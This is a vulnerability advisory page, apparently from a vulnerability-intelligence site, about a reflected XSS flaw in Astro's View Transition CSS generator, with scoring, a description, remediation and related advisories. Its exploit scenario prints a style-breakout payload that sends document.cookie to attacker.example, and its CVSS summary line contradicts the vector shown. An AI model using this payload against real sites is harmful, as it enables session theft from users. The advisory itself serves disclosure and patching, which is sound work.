EUVD-2026-57606
GHSA-4g3v-8h47-v7g6
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered reflected XSS requiring victim interaction (UI:R), no privileges needed, scope change to victim's browser session (S:C), low confidentiality/integrity impact on that session.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3Blast Radius
ecosystem impact- 2 npm packages depend on astro (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 2.9.0.
DescriptionCVE.org
Astro is a web framework for content-driven websites. From 2.9.0 until 7.1.0, Astro's server-side View Transition CSS generator interpolates animation properties into an inline style element without escaping them for CSS and HTML contexts. An attacker-controlled View Transition animation value such as duration can terminate the generated style element and inject arbitrary HTML or JavaScript. The affected code is packages/astro/src/runtime/server/transition.ts; renderTransition passes sheet.toString() into markHTMLString(), while addAnimationProperty serializes duration through toTimeValue() and also handles easing, direction, delay, fillMode, and name. Exploitation requires an on-demand or server-rendered route to pass attacker-controlled data into a View Transition animation definition and can execute arbitrary JavaScript in the affected application's origin, allowing access to sensitive page data and authenticated actions available to the victim. This issue is fixed in version 7.1.0.
AnalysisAI
Reflected XSS in Astro's server-side View Transition CSS generator affects all server-rendered or on-demand Astro applications running versions 2.9.0 through 7.0.9. The framework interpolates attacker-controlled animation property values (such as duration, easing, delay, direction, fillMode, and name) directly into an inline <style> element without CSS or HTML escaping, allowing a crafted value containing </style> to break out of the style context and inject arbitrary HTML or JavaScript. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three specific conditions to hold simultaneously. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:L/SI:L) scores at 5.3, reflecting that exploitation is network-accessible with no authentication or special configuration beyond passing attacker-controlled data into a View Transition animation property. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a URL targeting an Astro SSR page that reads a query parameter (e.g., ?duration=) and passes it to a View Transition fade() animation. The duration value contains </style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. … |
| Remediation | Upgrade to Astro version 7.1.0 or later, available at https://github.com/withastro/astro/releases/tag/astro@7.1.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
SQL Injection exists in the Saxum Astro 4.0.14 component for Joomla!. Rated critical severity (CVSS 9.8), this vulnerabi
Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.8), this vulnerability is remotely exp
Astro is a web framework. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication
Astro is a web framework for content-driven websites. Rated medium severity (CVSS 6.9), this vulnerability is remotely e
Astro is a web framework. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authenticatio
Astro is a web framework for content-driven websites. Rated medium severity (CVSS 5.5), this vulnerability is remotely e
Authentication/authorization bypass in Clerk's official JavaScript SDKs (@clerk/nextjs, @clerk/nuxt, @clerk/astro, and t
Authorization bypass in the Astro web framework version 6.4.7 lets remote unauthenticated attackers reach protected rout
Regex metacharacter injection in @astrojs/netlify prior to 8.1.2 causes the Netlify Image CDN allowlist to be broader th
Sentry-Javascript is official Sentry SDKs for JavaScript. Rated high severity (CVSS 7.5), this vulnerability is remotely
Path override bypass in the @astrojs/vercel ISR entrypoint (versions 10.0.3 through 11.0.2) exposes edge-protected route
The @astrojs/vercel serverless adapter in Astro versions prior to 10.0.2 contains an unauthenticated path traversal vuln
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today